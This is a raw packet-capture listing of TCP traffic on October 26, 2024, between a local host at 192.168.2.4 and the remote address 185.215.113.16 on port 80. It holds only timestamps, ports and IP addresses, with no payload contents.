Oct 26, 2024 05:54:38.574352026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.574362993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.612848043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.612906933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.612936020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.612936974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.612978935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.612987041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613039017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613071918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613140106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613236904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.613244057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613295078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613312006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.613327980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613415003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.613420963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613460064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613507032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.613522053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613697052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613748074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613787889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.613787889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.613800049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613934994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613986015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.613989115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.614020109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.614051104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.614115000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.654917002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.654962063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.654997110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.655040979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.655040979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.693506956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.693540096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.693576097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.693614960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.693629026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.694184065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.735702038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.735759020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.735786915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.735918045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.773988008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774018049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774065971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774147034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774178982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774211884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774246931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774254084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774254084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774276018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774375916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774400949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774435043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774466991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774513960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774569988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774597883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774624109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774633884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774713993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774746895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774781942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.774801016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774868965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.774991989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.775043964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.775077105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.775100946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.775168896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.775257111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.775290966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.775331020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.816016912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.816046953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.816080093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.816123009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.816128969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.816226959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.854928970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.854964018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.854995966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.855016947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.896048069 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.896961927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.896992922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.897025108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.897057056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.897126913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.897744894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935271025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935302019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935408115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935465097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935497999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935530901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935570002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935579062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935611963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935643911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935673952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935673952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935676098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935714006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935740948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935807943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935839891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935889006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935890913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.935920954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.935980082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.936069012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.936178923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.936230898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.936264038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.936302900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.936302900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.936316967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.936350107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.936403990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.977425098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.977453947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.977545977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.977577925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.977606058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.977984905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.016170025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.016218901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.016256094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.016422033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.058022976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.058054924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.058166027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.058191061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.058218956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.058298111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.096745014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.096837997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.096848011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.096890926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.096925020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.096934080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.096956968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.096992016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097012043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097024918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097126007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097202063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097204924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097237110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097318888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097395897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097429991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097462893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097497940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097527027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097532034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097573042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097573042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097595930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097778082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097829103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097837925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.097863913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097930908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097963095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.097971916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.098015070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.138833046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.138865948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.138899088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.138930082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.138930082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.139415026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.177535057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.177628040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.177664042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.177712917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.177736044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.177787066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.219561100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.219769001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.219782114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.219923973 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258301973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258336067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258368015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258380890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258459091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258492947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258544922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258594036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258625984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258657932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258671999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258671999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258687019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258719921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258768082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258779049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258819103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258852959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258877039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258881092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258898020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.258945942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.258991003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.259036064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.259129047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.259179115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.259181023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.259231091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.259284019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.259329081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.259331942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.260214090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.513567924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513612986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513685942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513719082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513720036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.513792992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513842106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.513842106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.513843060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513878107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513905048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513953924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.513972044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.513988018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514014959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514034986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514108896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514120102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514137030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514168024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514205933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514229059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514250040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514281988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514297962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514313936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514343023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514367104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514373064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514404058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514429092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514436007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514452934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514468908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514497042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514547110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514580965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514607906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514612913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514661074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514661074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514663935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514691114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514722109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514755011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514765024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514781952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514816999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514848948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514857054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514877081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514894962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514909029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514940977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514967918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.514985085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.514985085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.515000105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.515032053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.515059948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.515069008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.515094042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.515155077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.517050028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.517854929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.542284012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.542332888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.542351961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.542371988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.542469978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.580861092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.580892086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.580945969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.580965042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.580997944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581031084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581041098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.581063032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581095934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581100941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.581166983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581212044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.581218958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581283092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581315994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581357956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581361055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.581389904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581430912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.581954002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.581984043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.582007885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.582015991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.582067013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.582098961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.582109928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.582132101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.582135916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.625704050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.625720978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.625735044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.625751019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.625776052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.672683001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.672717094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.672750950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.672801018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.703649998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.703696966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:39.703700066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:39.703732967 CEST	80	49742	185.215.113.16	192.168.2.4
